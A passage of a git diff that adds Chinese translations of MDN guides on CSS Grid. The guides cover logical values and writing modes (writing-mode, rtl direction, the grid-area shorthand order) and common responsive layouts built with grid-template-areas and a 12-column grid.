CSS 中布满了物理位置的关键字 —— left 和 right,top 和 bottom。当使用绝对位置来定位项目时,就要使项目围绕上用物理关键字描述的偏移量。在下面的代码片断中,项目被定位到距容器顶部 20 像素,并且距容器左侧 30 像素:

- -
.container {
-  position: relative;
-}
-.item {
-  position: absolute;
-  top: 20px;
-  left: 30px;
-}
-
- -
<div class="container">
-  <div class="item">Item</div>
-</div>
-
- -

另一个用到物理关键字的地方是使用 text-align: right 把文本对齐到右侧,这也是 CSS 中的物理属性。当我们为项目增加外边距、内边距和边框时会使用像 {{cssxref("margin-left")}},{{cssxref("padding-left")}} 这样的物理属性。

- -

把这些关键字称为物理属性,是因为它们与你看到的屏幕紧密相关,左永远是左,不管文本流动的方向如何。

- -

在开发有多种语言的网站时,如果其中包含了从右侧而不是从左侧开始书写的文字,物理属性就会成为一个问题。浏览器很擅长处理文本方向,不需要真的在一种 {{glossary("rtl")}} (从右到左)的语言下开发,我们也可以一窥究竟。下面的例子里有两个段落,一个段落没有设置 {{cssxref("text-align")}} 属性,另一个段落的 text-align 设置为 left。在 html 元素上添加 dir="rtl" 声明,就会把书写模式从默认的 ltr (从左到右)的英语切换为 rtl (从右到左)的语言。我们可以看到,第一段仍然是从左到右显示,因为 text-align 的值为 left,但第二段把文字的流动方向切换成了从右到左。

- -

A simple example of text direction.

- -

这只是在使用物理属性和值时引起问题的一个非常简单的例子,它们阻止浏览器切换书写模式,因为这些物理属性和值已经假设文字的流动方向一定是从左到右、从上到下的。

- -

逻辑属性和值

- -

逻辑属性和值不会预设文字方向,这也是为什么在网格布局中要实现对齐到容器的开始位置时使用 start 关键字的原因。对我来说,因为我使用英语工作,所以 start 就是左侧,不过它并不总是代表左侧,并不能根据 start 这个词推断出物理位置。

- -

块和行内

- -

如果我们用逻辑属性而不是物理属性来思考,就不能使用从左到右、从上到下的方式观察世界,我们需要一个新的参考点,也就是在此前的文章中讨论对齐时接触过的块轴行内轴。理解它们是非常重要的,如果开始用块轴与行内轴的方式来看待布局,在网格布局中使用到的术语就变得非常有意义了。

- -

An image showing the default direction of the Block and Inline Axes.

- -

CSS 书写模式

- -

现在我要介绍另一个规范:CSS 书写模式规范,并在下面的例子中给出演示。这个规范详细描述了如何在 CSS 中使用多种不同的书写模式,不仅是支持与英语不同书写模式的语言,而且提供了更富创造性的用途。我将通过使用 {{cssxref("writing-mode")}} 属性来改变网格的书写模式,演示逻辑值是如何工作的。如果你想更深入地探讨书写模式,我推荐你阅读 Jen Simmons 的优秀文章:CSS Writing Modes,这篇文章对标准的讨论比本文要深入得多。

- -

writing-mode

- -

书写模式不仅可以使文字从左到右或从右到左显示,writing-mode 属性还可以设置其他的文字流动方向。{{cssxref("writing-mode")}} 属性有以下可选值:

- - - -

属性值 horizontal-tb 是 web 上显示文本的默认效果,也就是你现在正在阅读的这篇文章的方向,其他的属性值将会改变文字的流动方向,能匹配世界各地不同的书写模式,这些细节你都可以在 Jen 的文章中看到。下面用两个段落展示一个简单的例子,第一个段落使用默认的 horizontal-tb,第二个段落使用 vertical-rl,这种模式下文本仍然从左到右排列,不过文本的方向却是垂直的 —— 现在行内文本是从页面的顶部到底部向下流动的。

- -
- - -
<div class="wrapper">
-   <p style="writing-mode: horizontal-tb">I have writing mode set to the default <code>horizontal-tb</code></p>
-  <p style="writing-mode: vertical-rl">I have writing mode set to <code>vertical-rl</code></p>
-</div>
-
- -

{{ EmbedLiveSample('writing_1', '500', '420') }}

-
- -

网格布局中的书写模式

- -

现在让我们来做一个网格布局的实验,就可以看到书写模式是如何改变你对块轴和行内轴的看法的。

- -

下面例子是一个二行三列的网格,也就是说有三个沿着块轴方向的轨道。在默认的书写模式下,网格自动定位项目的流向,是从左上开始,向右延伸,填满行内轴方向的三个格子,然后转到下一行,创建一个新的行轨道,继续定位更多的项目:

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 100px);
-  grid-template-rows: repeat(2, 100px);
-  grid-gap: 10px;
-}
-
- -
<div class="wrapper">
-  <div class="item1">Item 1</div>
-  <div class="item2">Item 2</div>
-  <div class="item3">Item 3</div>
-  <div class="item4">Item 4</div>
-  <div class="item5">Item 5</div>
-</div>
-
- -

{{ EmbedLiveSample('writing_2', '500', '330') }}

-
- -

如果给网格容器加上 writing-mode: vertical-lr 属性,就可以看到块轴和行内轴都转到不同的方向了,块轴从左到右地穿过页面,行内轴则从上到下到流动。

- -
- - -
.wrapper {
-  writing-mode: vertical-lr;
-  display: grid;
-  grid-template-columns: repeat(3, 100px);
-  grid-template-rows: repeat(2, 100px);
-  grid-gap: 10px;
-}
-
- -
<div class="wrapper">
-  <div class="item1">Item 1</div>
-  <div class="item2">Item 2</div>
-  <div class="item3">Item 3</div>
-  <div class="item4">Item 4</div>
-  <div class="item5">Item 5</div>
-</div>
-
- -

{{ EmbedLiveSample('writing_3', '500', '330') }}

-
- -

A image showing the direction of Block and Inline when writing-mode is vertical-lr

- -

用于对齐的逻辑值

- -

因为块轴和行内轴可以改变方向,所以在对齐属性中使用的逻辑值就具有更丰富的含义。

- -

在下面的例子中,网格被设置了 writing-mode: vertical-lr 属性,我们将使用对齐属性来对齐项目。startend 属性值仍然像在默认的书写模式下那样保留着它们的逻辑,但却已经不是 left 和 right,top 和 bottom 所能够表示的了。只要我们把网格翻转到一边,就会发生这种情况:

- -
- - -
.wrapper {
-  writing-mode: vertical-lr;
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-template-rows: repeat(3, 100px);
-  grid-gap: 10px;
-}
-
-.item1 {
-    grid-column: 1 / 4;
-    align-self: start;
-}
-
-.item2 {
-    grid-column: 1 / 3;
-    grid-row: 2 / 4;
-    align-self: start;
-}
-
-.item3 {
-    grid-column: 3;
-    grid-row: 2 / 4;
-    align-self: end;
-    justify-self: end;
-}
-
- -
<div class="wrapper">
-  <div class="item1">Item 1</div>
-  <div class="item2">Item 2</div>
-  <div class="item3">Item 3</div>
-</div>
-
- -

{{ EmbedLiveSample('writing_4', '500', '330') }}

-
- -

如果你要看看在先上到下再从右到左的书写模式,把 vertical-lr 换成 vertical-rl,就能得到一个从右到左的垂直书写模式。

- -

自动定位和书写模式

- -

如上例所示,我们已经看到当书写模式改变了方向时网格是如何定位项目的,项目将被沿着行内轴排列直到下一行,只是行内轴不再总是沿着从左到右的方向罢了。

- -

基于网格线的定位和书写模式

- -

要切记,当用网格线序号来定位项目时,不管在哪种书写模式下,第 1 行永远代表开始的那条网格线,第 -1 行永远代表结束的那条网格线。

- -

在下面的例子中,网格的默认方向是 ltr(从左到右),用基于网格线定位方式定位了三个项目。

- - - -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-template-rows: repeat(2, 100px);
-  grid-gap: 10px;
-}
-.item1 {
-    grid-column: 1 ;
-}
-.item2 {
-    grid-column: -1 / -3;
-}
-.item3 {
-    grid-column: 1 / 3;
-    grid-row: 2;
-}
-
- -
<div class="wrapper">
-        <div class="item1">Item 1</div>
-        <div class="item2">Item 2</div>
-        <div class="item3">Item 3</div>
-    </div>
-
- -

{{ EmbedLiveSample('writing_5', '500', '330') }}

-
- -

如果现在为网格容器增加一个 {{cssxref("direction")}} 属性,属性值为 rtl,那么 第 1 条线就变到了网格的右侧,而第 -1 条线则变到左侧。

- -
- - -
.wrapper {
-  direction: rtl;
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-template-rows: repeat(2, 100px);
-  grid-gap: 10px;
-}
-.item1 {
-    grid-column: 1 ;
-}
-.item2 {
-    grid-column: -1 / -3;
-}
-.item3 {
-    grid-column: 1 / 3;
-    grid-row: 2;
-}
-
- -
<div class="wrapper">
-        <div class="item1">Item 1</div>
-        <div class="item2">Item 2</div>
-        <div class="item3">Item 3</div>
-    </div>
-
- -

{{ EmbedLiveSample('writing_6', '500', '330') }}

-
- -

这表明,如果要切换页面整体或部分的文本方向,并且正在使用网格线,那么如果不想让布局受到影响,应该命名网格线。有些情况下,比如网格包含文本内容,切换后的结果可能正是你想要的,但对于其他情况却不一定。

- -

grid-area 属性值的奇怪顺序

- -

可以把定义网格区域的四条线合并为一个值传给 {{cssxref("grid-area")}} 属性,在第一次使用这个属性时,人们经常会惊讶它的写法没有遵从 margin 的按顺时针的简写顺序:top,right,bottom,left。

- -

但是 grid-area 的简写顺序却是:

- - - -

对于英语书写模式来说,从左到右的顺序应该是:

- - - -

grid-area 的简写顺序是逆时针!与我们常用的 marginpadding 相反。你要意识到 grid-area 是从“块和行内”的角度看世界的,牢记应该先设置两条开始线,再设置两条结束线。这样的顺序才更符合逻辑!

- -

书写模式与网格布局的结合

- -

书写模式除了为特定语言处理提供便利,另外对于文档的显示效果,也可以提供 ltr (从左到右)模式之外的创新性。在下面的例子中,想在网格布局的一侧展示若干链接,就可以通过变更书写模式把这些链接按列轨道方向排列:

- -
-
.wrapper {
-    display: grid;
-    grid-gap: 20px;
-    grid-template-columns: 1fr auto;
-    font: 1em Helvetica, Arial, sans-serif;
-}
-.wrapper nav {
-    writing-mode: vertical-lr;
-}
-.wrapper ul {
-    list-style: none;
-    margin: 0;
-    padding: 1em;
-    display: flex;
-    justify-content: space-between;
-}
-.wrapper a {
-    text-decoration: none;
-}
-
- -
<div class="wrapper">
-        <div class="content">
-            <p>Turnip greens yarrow ricebean rutabaga endive cauliflower sea lettuce kohlrabi amaranth water spinach avocado daikon napa cabbage asparagus winter purslane kale. Celery potato scallion desert raisin horseradish spinach carrot soko. Lotus root water spinach fennel kombu maize bamboo shoot green bean swiss chard seakale pumpkin onion chickpea gram corn pea. Brussels sprout coriander water chestnut gourd swiss chard wakame kohlrabi beetroot carrot watercress. Corn amaranth salsify bunya nuts nori azuki bean chickweed potato bell pepper artichoke.</p>
-
-<p>Nori grape silver beet broccoli kombu beet greens fava bean potato quandong celery. Bunya nuts black-eyed pea prairie turnip leek lentil turnip greens parsnip. Sea lettuce lettuce water chestnut eggplant winter purslane fennel azuki bean earthnut pea sierra leone bologi leek soko chicory celtuce parsley jícama salsify.</p>
-        </div>
-        <nav>
-            <ul>
-                <li><a href="">Link 1</a></li>
-                <li><a href="">Link 2</a></li>
-                <li><a href="">Link 3</a></li>
-            </ul>
-        </nav>
-    </div>
-
- -

{{ EmbedLiveSample('writing_7', '500', '330') }}

-
- -

物理值和网格布局

- -

在构建网站时经常会遇到物理属性,尽管网格定位和对齐属性及它们的值都遵从书写模式,还是有很多时候即使在网格中也不得不使用物理属性和值。在 网格布局中的盒模型对齐 一文中,演示了在网格区域中如何利用自动边距,而自动边距也是 flexbox 布局的一种技巧,尽管这样又把布局和物理空间纠结到了一起。

- -

如果在网格区域中使用绝对定位,那么你就会使用物理偏移量调整网格区域中的项目的位置。关键是要掌握使用物理属性与逻辑属性的力度,举例来说,要衡量把 ltr 切换到 rtl 时你需要对 CSS 做多少修改。

- -

逻辑属性无处不在!

- -

新的布局方法赋予使用逻辑值定位项目的能力,不过如果和使用物理属性的 marginpadding 属性混用,切记这些物理属性并不会依据书写模式来改变它们的显示效果。

- -

CSS 逻辑属性规范 的目标是改变现状,在未来的 CSS 中,{{cssxref("margin-left")}} 和 {{cssxref("margin-right")}} 将与逻辑属性相同。Firefox 已经实现了,所以你现在就可以在 Firefox 中试上一试。未来如果得到全面支持,那么通过网格学习到的“块和行内”的知识,你也能马上举一反三地用在其他地方了。

- - diff --git a/files/zh-cn/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html b/files/zh-cn/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html new file mode 100644 index 0000000000..936634c06c --- /dev/null +++ b/files/zh-cn/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html @@ -0,0 +1,502 @@ +--- +title: CSS 网格,逻辑值和书写模式 +slug: 'Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes' +tags: + - CSS + - CSS 指南 + - 指南 +translation_of: 'Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes' +--- +

在前面的文章中,我们已经接触了网格布局的一个重要特性:被纳入规范的对不同书写模式的支持。本文我们将探讨在网格和其他现代布局方式下的这个特性的表现,以及学习一些关于书写模式和逻辑属性与物理属性的知识。

+ +

逻辑属性与物理属性及逻辑值与物理值

+ +

CSS 中布满了物理位置的关键字 —— left 和 right,top 和 bottom。当使用绝对位置来定位项目时,就要使项目围绕上用物理关键字描述的偏移量。在下面的代码片断中,项目被定位到距容器顶部 20 像素,并且距容器左侧 30 像素:

+ +
.container {
+  position: relative;
+}
+.item {
+  position: absolute;
+  top: 20px;
+  left: 30px;
+}
+
+ +
<div class="container">
+  <div class="item">Item</div>
+</div>
+
+ +

另一个用到物理关键字的地方是使用 text-align: right 把文本对齐到右侧,这也是 CSS 中的物理属性。当我们为项目增加外边距、内边距和边框时会使用像 {{cssxref("margin-left")}},{{cssxref("padding-left")}} 这样的物理属性。

+ +

把这些关键字称为物理属性,是因为它们与你看到的屏幕紧密相关,左永远是左,不管文本流动的方向如何。

+ +

在开发有多种语言的网站时,如果其中包含了从右侧而不是从左侧开始书写的文字,物理属性就会成为一个问题。浏览器很擅长处理文本方向,不需要真的在一种 {{glossary("rtl")}} (从右到左)的语言下开发,我们也可以一窥究竟。下面的例子里有两个段落,一个段落没有设置 {{cssxref("text-align")}} 属性,另一个段落的 text-align 设置为 left。在 html 元素上添加 dir="rtl" 声明,就会把书写模式从默认的 ltr (从左到右)的英语切换为 rtl (从右到左)的语言。我们可以看到,第一段仍然是从左到右显示,因为 text-align 的值为 left,但第二段把文字的流动方向切换成了从右到左。

+ +

A simple example of text direction.

+ +

这只是在使用物理属性和值时引起问题的一个非常简单的例子,它们阻止浏览器切换书写模式,因为这些物理属性和值已经假设文字的流动方向一定是从左到右、从上到下的。

+ +

逻辑属性和值

+ +

逻辑属性和值不会预设文字方向,这也是为什么在网格布局中要实现对齐到容器的开始位置时使用 start 关键字的原因。对我来说,因为我使用英语工作,所以 start 就是左侧,不过它并不总是代表左侧,并不能根据 start 这个词推断出物理位置。

+ +

块和行内

+ +

如果我们用逻辑属性而不是物理属性来思考,就不能使用从左到右、从上到下的方式观察世界,我们需要一个新的参考点,也就是在此前的文章中讨论对齐时接触过的块轴行内轴。理解它们是非常重要的,如果开始用块轴与行内轴的方式来看待布局,在网格布局中使用到的术语就变得非常有意义了。

+ +

An image showing the default direction of the Block and Inline Axes.

+ +

CSS 书写模式

+ +

现在我要介绍另一个规范:CSS 书写模式规范,并在下面的例子中给出演示。这个规范详细描述了如何在 CSS 中使用多种不同的书写模式,不仅是支持与英语不同书写模式的语言,而且提供了更富创造性的用途。我将通过使用 {{cssxref("writing-mode")}} 属性来改变网格的书写模式,演示逻辑值是如何工作的。如果你想更深入地探讨书写模式,我推荐你阅读 Jen Simmons 的优秀文章:CSS Writing Modes,这篇文章对标准的讨论比本文要深入得多。

+ +

writing-mode

+ +

书写模式不仅可以使文字从左到右或从右到左显示,writing-mode 属性还可以设置其他的文字流动方向。{{cssxref("writing-mode")}} 属性有以下可选值:

+ + + +

属性值 horizontal-tb 是 web 上显示文本的默认效果,也就是你现在正在阅读的这篇文章的方向,其他的属性值将会改变文字的流动方向,能匹配世界各地不同的书写模式,这些细节你都可以在 Jen 的文章中看到。下面用两个段落展示一个简单的例子,第一个段落使用默认的 horizontal-tb,第二个段落使用 vertical-rl,这种模式下文本仍然从左到右排列,不过文本的方向却是垂直的 —— 现在行内文本是从页面的顶部到底部向下流动的。

+ +
+ + +
<div class="wrapper">
+   <p style="writing-mode: horizontal-tb">I have writing mode set to the default <code>horizontal-tb</code></p>
+  <p style="writing-mode: vertical-rl">I have writing mode set to <code>vertical-rl</code></p>
+</div>
+
+ +

{{ EmbedLiveSample('writing_1', '500', '420') }}

+
+ +

网格布局中的书写模式

+ +

现在让我们来做一个网格布局的实验,就可以看到书写模式是如何改变你对块轴和行内轴的看法的。

+ +

下面例子是一个二行三列的网格,也就是说有三个沿着块轴方向的轨道。在默认的书写模式下,网格自动定位项目的流向,是从左上开始,向右延伸,填满行内轴方向的三个格子,然后转到下一行,创建一个新的行轨道,继续定位更多的项目:

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Item 1</div>
+  <div class="item2">Item 2</div>
+  <div class="item3">Item 3</div>
+  <div class="item4">Item 4</div>
+  <div class="item5">Item 5</div>
+</div>
+
+ +

{{ EmbedLiveSample('writing_2', '500', '330') }}

+
+ +

如果给网格容器加上 writing-mode: vertical-lr 属性,就可以看到块轴和行内轴都转到不同的方向了,块轴从左到右地穿过页面,行内轴则从上到下到流动。

+ +
+ + +
.wrapper {
+  writing-mode: vertical-lr;
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Item 1</div>
+  <div class="item2">Item 2</div>
+  <div class="item3">Item 3</div>
+  <div class="item4">Item 4</div>
+  <div class="item5">Item 5</div>
+</div>
+
+ +

{{ EmbedLiveSample('writing_3', '500', '330') }}

+
+ +

A image showing the direction of Block and Inline when writing-mode is vertical-lr

+ +

用于对齐的逻辑值

+ +

因为块轴和行内轴可以改变方向,所以在对齐属性中使用的逻辑值就具有更丰富的含义。

+ +

在下面的例子中,网格被设置了 writing-mode: vertical-lr 属性,我们将使用对齐属性来对齐项目。startend 属性值仍然像在默认的书写模式下那样保留着它们的逻辑,但却已经不是 left 和 right,top 和 bottom 所能够表示的了。只要我们把网格翻转到一边,就会发生这种情况:

+ +
+ + +
.wrapper {
+  writing-mode: vertical-lr;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(3, 100px);
+  grid-gap: 10px;
+}
+
+.item1 {
+    grid-column: 1 / 4;
+    align-self: start;
+}
+
+.item2 {
+    grid-column: 1 / 3;
+    grid-row: 2 / 4;
+    align-self: start;
+}
+
+.item3 {
+    grid-column: 3;
+    grid-row: 2 / 4;
+    align-self: end;
+    justify-self: end;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Item 1</div>
+  <div class="item2">Item 2</div>
+  <div class="item3">Item 3</div>
+</div>
+
+ +

{{ EmbedLiveSample('writing_4', '500', '330') }}

+
+ +

如果你要看看在先上到下再从右到左的书写模式,把 vertical-lr 换成 vertical-rl,就能得到一个从右到左的垂直书写模式。

+ +

自动定位和书写模式

+ +

如上例所示,我们已经看到当书写模式改变了方向时网格是如何定位项目的,项目将被沿着行内轴排列直到下一行,只是行内轴不再总是沿着从左到右的方向罢了。

+ +

基于网格线的定位和书写模式

+ +

要切记,当用网格线序号来定位项目时,不管在哪种书写模式下,第 1 行永远代表开始的那条网格线,第 -1 行永远代表结束的那条网格线。

+ +

在下面的例子中,网格的默认方向是 ltr(从左到右),用基于网格线定位方式定位了三个项目。

+ + + +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+.item1 {
+    grid-column: 1 ;
+}
+.item2 {
+    grid-column: -1 / -3;
+}
+.item3 {
+    grid-column: 1 / 3;
+    grid-row: 2;
+}
+
+ +
<div class="wrapper">
+        <div class="item1">Item 1</div>
+        <div class="item2">Item 2</div>
+        <div class="item3">Item 3</div>
+    </div>
+
+ +

{{ EmbedLiveSample('writing_5', '500', '330') }}

+
+ +

如果现在为网格容器增加一个 {{cssxref("direction")}} 属性,属性值为 rtl,那么 第 1 条线就变到了网格的右侧,而第 -1 条线则变到左侧。

+ +
+ + +
.wrapper {
+  direction: rtl;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+.item1 {
+    grid-column: 1 ;
+}
+.item2 {
+    grid-column: -1 / -3;
+}
+.item3 {
+    grid-column: 1 / 3;
+    grid-row: 2;
+}
+
+ +
<div class="wrapper">
+        <div class="item1">Item 1</div>
+        <div class="item2">Item 2</div>
+        <div class="item3">Item 3</div>
+    </div>
+
+ +

{{ EmbedLiveSample('writing_6', '500', '330') }}

+
+ +

这表明,如果要切换页面整体或部分的文本方向,并且正在使用网格线,那么如果不想让布局受到影响,应该命名网格线。有些情况下,比如网格包含文本内容,切换后的结果可能正是你想要的,但对于其他情况却不一定。

+ +

grid-area 属性值的奇怪顺序

+ +

可以把定义网格区域的四条线合并为一个值传给 {{cssxref("grid-area")}} 属性,在第一次使用这个属性时,人们经常会惊讶它的写法没有遵从 margin 的按顺时针的简写顺序:top,right,bottom,left。

+ +

但是 grid-area 的简写顺序却是:

+ + + +

对于英语书写模式来说,从左到右的顺序应该是:

+ + + +

grid-area 的简写顺序是逆时针!与我们常用的 marginpadding 相反。你要意识到 grid-area 是从“块和行内”的角度看世界的,牢记应该先设置两条开始线,再设置两条结束线。这样的顺序才更符合逻辑!

+ +

书写模式与网格布局的结合

+ +

书写模式除了为特定语言处理提供便利,另外对于文档的显示效果,也可以提供 ltr (从左到右)模式之外的创新性。在下面的例子中,想在网格布局的一侧展示若干链接,就可以通过变更书写模式把这些链接按列轨道方向排列:

+ +
+
.wrapper {
+    display: grid;
+    grid-gap: 20px;
+    grid-template-columns: 1fr auto;
+    font: 1em Helvetica, Arial, sans-serif;
+}
+.wrapper nav {
+    writing-mode: vertical-lr;
+}
+.wrapper ul {
+    list-style: none;
+    margin: 0;
+    padding: 1em;
+    display: flex;
+    justify-content: space-between;
+}
+.wrapper a {
+    text-decoration: none;
+}
+
+ +
<div class="wrapper">
+        <div class="content">
+            <p>Turnip greens yarrow ricebean rutabaga endive cauliflower sea lettuce kohlrabi amaranth water spinach avocado daikon napa cabbage asparagus winter purslane kale. Celery potato scallion desert raisin horseradish spinach carrot soko. Lotus root water spinach fennel kombu maize bamboo shoot green bean swiss chard seakale pumpkin onion chickpea gram corn pea. Brussels sprout coriander water chestnut gourd swiss chard wakame kohlrabi beetroot carrot watercress. Corn amaranth salsify bunya nuts nori azuki bean chickweed potato bell pepper artichoke.</p>
+
+<p>Nori grape silver beet broccoli kombu beet greens fava bean potato quandong celery. Bunya nuts black-eyed pea prairie turnip leek lentil turnip greens parsnip. Sea lettuce lettuce water chestnut eggplant winter purslane fennel azuki bean earthnut pea sierra leone bologi leek soko chicory celtuce parsley jícama salsify.</p>
+        </div>
+        <nav>
+            <ul>
+                <li><a href="">Link 1</a></li>
+                <li><a href="">Link 2</a></li>
+                <li><a href="">Link 3</a></li>
+            </ul>
+        </nav>
+    </div>
+
+ +

{{ EmbedLiveSample('writing_7', '500', '330') }}

+
+ +

物理值和网格布局

+ +

在构建网站时经常会遇到物理属性,尽管网格定位和对齐属性及它们的值都遵从书写模式,还是有很多时候即使在网格中也不得不使用物理属性和值。在 网格布局中的盒模型对齐 一文中,演示了在网格区域中如何利用自动边距,而自动边距也是 flexbox 布局的一种技巧,尽管这样又把布局和物理空间纠结到了一起。

+ +

如果在网格区域中使用绝对定位,那么你就会使用物理偏移量调整网格区域中的项目的位置。关键是要掌握使用物理属性与逻辑属性的力度,举例来说,要衡量把 ltr 切换到 rtl 时你需要对 CSS 做多少修改。

+ +

逻辑属性无处不在!

+ +

新的布局方法赋予使用逻辑值定位项目的能力,不过如果和使用物理属性的 marginpadding 属性混用,切记这些物理属性并不会依据书写模式来改变它们的显示效果。

+ +

CSS 逻辑属性规范 的目标是改变现状,在未来的 CSS 中,{{cssxref("margin-left")}} 和 {{cssxref("margin-right")}} 将与逻辑属性相同。Firefox 已经实现了,所以你现在就可以在 Firefox 中试上一试。未来如果得到全面支持,那么通过网格学习到的“块和行内”的知识,你也能马上举一反三地用在其他地方了。

+ + diff --git a/files/zh-cn/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html b/files/zh-cn/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html new file mode 100644 index 0000000000..1f19e6933b --- /dev/null +++ b/files/zh-cn/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html @@ -0,0 +1,593 @@ +--- +title: 利用CSS网格布局实现常用布局 +slug: Web/CSS/CSS_Grid_Layout/利用CSS网格布局实现常用布局 +translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout +--- +

为了完善这组CSS网格布局指南,我将介绍几种不同的布局,它们演示了在使用网格布局进行设计时可以使用的一些不同技术。我们将看到一个使用 grid-template-areas 的示例,一个典型的12列灵活网格系统,以及一个使用自动布局的产品列表。正如您从这组示例中看到的,使用网格布局通常有不止一种方法来实现您想要的结果。选择对您正在解决的问题和需要实现的设计最有帮助的方法。

+ +

使用网格模板区域的响应式布局,包含1到3个流动列

+ +

许多网站都是这种布局的变体,有内容、边栏、页眉和页脚。在响应式设计中,您可能希望将布局显示为单个列,在某个断点添加侧栏,然后为更宽的屏幕引入三列布局。

+ +

Image of the three different layouts created by redefining our grid at two breakpoints.

+ +

我将使用我们在向导网格模板区域中了解到的命名模板区域来创建这个布局。

+ +

我的标记是一个容器,其中包含用于标题、页脚、主要内容、导航、边栏和打算放置广告的块的元素。

+ +
+ + +
<div class="wrapper">
+        <header class="main-head">The header</header>
+        <nav class="main-nav">
+            <ul>
+                <li><a href="">Nav 1</a></li>
+                <li><a href="">Nav 2</a></li>
+                <li><a href="">Nav 3</a></li>
+            </ul>
+        </nav>
+        <article class="content">
+            <h1>Main article area</h1>
+            <p>In this layout, we display the areas in source order for any screen less that 500 pixels wide. We go to a two column layout, and then to a three column layout by redefining the grid, and the placement of items on the grid.</p>
+        </article>
+        <aside class="side">Sidebar</aside>
+        <div class="ad">Advertising</div>
+        <footer class="main-footer">The footer</footer>
+</div>
+
+ +

因为我们使用{{cssxref("grid-template-areas")}}来创建布局。在任何媒体查询之外,我需要命名区域。我们使用{{cssxref("grid-area")}} 属性命名区域。

+ +
.main-head {
+  grid-area: header;
+}
+.content {
+  grid-area: content;
+}
+.main-nav {
+  grid-area: nav;
+}
+.side {
+  grid-area: sidebar;
+}
+.ad {
+  grid-area: ad;
+}
+.main-footer {
+  grid-area: footer;
+}
+
+ +

这不会创建任何布局,但是我们的项目现在有了名称,我们可以使用它来创建布局。在任何媒体查询之外,我现在要为移动宽度设置布局。在这里,我保持源文件的顺序,试图避免源文件和显示之间的任何断开,就像向导网格布局和可访问性中描述的那样。我没有定义任何列或行跟踪,但是这种布局规定了单个列,并且将根据需要为隐式网格中的每个项目创建行。

+ +
.wrapper {
+  display: grid;
+  grid-gap: 20px;
+  grid-template-areas:
+    "header"
+    "nav"
+    "content"
+    "sidebar"
+    "ad"
+    "footer";
+}
+
+ +

在设置了移动布局之后,我们将获得所有屏幕大小的这一列,现在我们可以添加一个媒体查询并重新定义布局,以满足屏幕空间足够显示两列的情况。

+ +
@media (min-width: 500px) {
+  .wrapper {
+    grid-template-columns: 1fr 3fr;
+    grid-template-areas:
+      "header  header"
+      "nav     nav"
+      "sidebar content"
+      "ad      footer";
+  }
+  nav ul {
+    display: flex;
+    justify-content: space-between;
+  }
+}
+
+ +

您可以看到布局在{{cssxref("grid-template-areas")}}的值中成形。 header 跨越两个列轨道,就像 nav 一样。在第三行轨道中,我们在 content 旁边有 sidebar 。在第四行轨道,我选择了放置我的广告内容-所以它出现在侧边栏下,然后 footer 旁边的内容。我在导航栏上使用了一个flexbox来显示它。

+ +

现在我可以添加最后一个断点来移动到三列布局。

+ +
@media (min-width: 700px) {
+  .wrapper {
+    grid-template-columns: 1fr 4fr 1fr;
+    grid-template-areas:
+      "header header  header"
+      "nav    content sidebar"
+      "nav    content ad"
+      "footer footer  footer"
+   }
+   nav ul {
+     flex-direction: column;
+   }
+}
+
+ +

三列布局有两个1fr单元侧列和一个中间列,轨道大小为4fr。这意味着容器中的可用空间被划分为6个部分,并按照我们的三个轨道的比例分配—每个轨道的一个部分位于侧列,四个部分位于中心。

+ +

在这个布局中,我在左边的列中显示导航,旁边是内容。在右边栏我们有侧边栏,在它下面是广告。页脚现在横跨布局的底部。然后我使用一个flex xbox将导航显示为一个列。

+ +

{{ EmbedLiveSample('layout_1', '800', '500') }}

+
+ +

这是一个简单的示例,但是演示了如何使用网格布局来为不同的断点重新安排布局。具体来说,我正在更改广告块的位置,这在不同的列设置中是合适的。我发现这种命名区域的方法在原型制作阶段非常有用,很容易处理元素的位置。您可以始终以这种方式开始使用grid进行原型设计,即使由于访问您站点的浏览器的原因,您不能在生产中完全依赖它。

+ +

灵活的12列布局

+ +

如果您使用过许多框架或网格系统之一,那么您可能已经习惯了将站点布置在12或16列的灵活网格上。我们可以使用CSS网格布局创建这种类型的系统。作为一个简单的例子,我正在创建一个12列的灵活网格,它有12个1fr-unit列轨道,它们都有一个名为col-start 的起始行。这意味着我们将拥有12条名为 col-start 的网格线。

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+  grid-gap: 20px;
+}
+
+ +

为了演示这个网格系统是如何工作的,我在包装器中包含了4个子元素。

+ +
<div class="wrapper">
+  <div class="item1">Start column line 1, span 3 column tracks.</div>
+  <div class="item2">Start column line 6, span 4 column tracks. 2 row tracks.</div>
+  <div class="item3">Start row 2 column line 2, span 2 column tracks.</div>
+  <div class="item4">Start at column line 3, span to the end of the grid (-1).</div>
+</div>
+
+ +

然后,我可以使用命名行和span关键字将它们放到网格上。

+ +
.item1 {
+  grid-column: col-start / span 3;
+}
+.item2 {
+  grid-column: col-start 6 / span 4 ;
+  grid-row: 1 / 3;
+}
+.item3 {
+  grid-column: col-start 2 / span 2;
+  grid-row: 2;
+}
+.item4 {
+  grid-column: col-start 3 / -1;
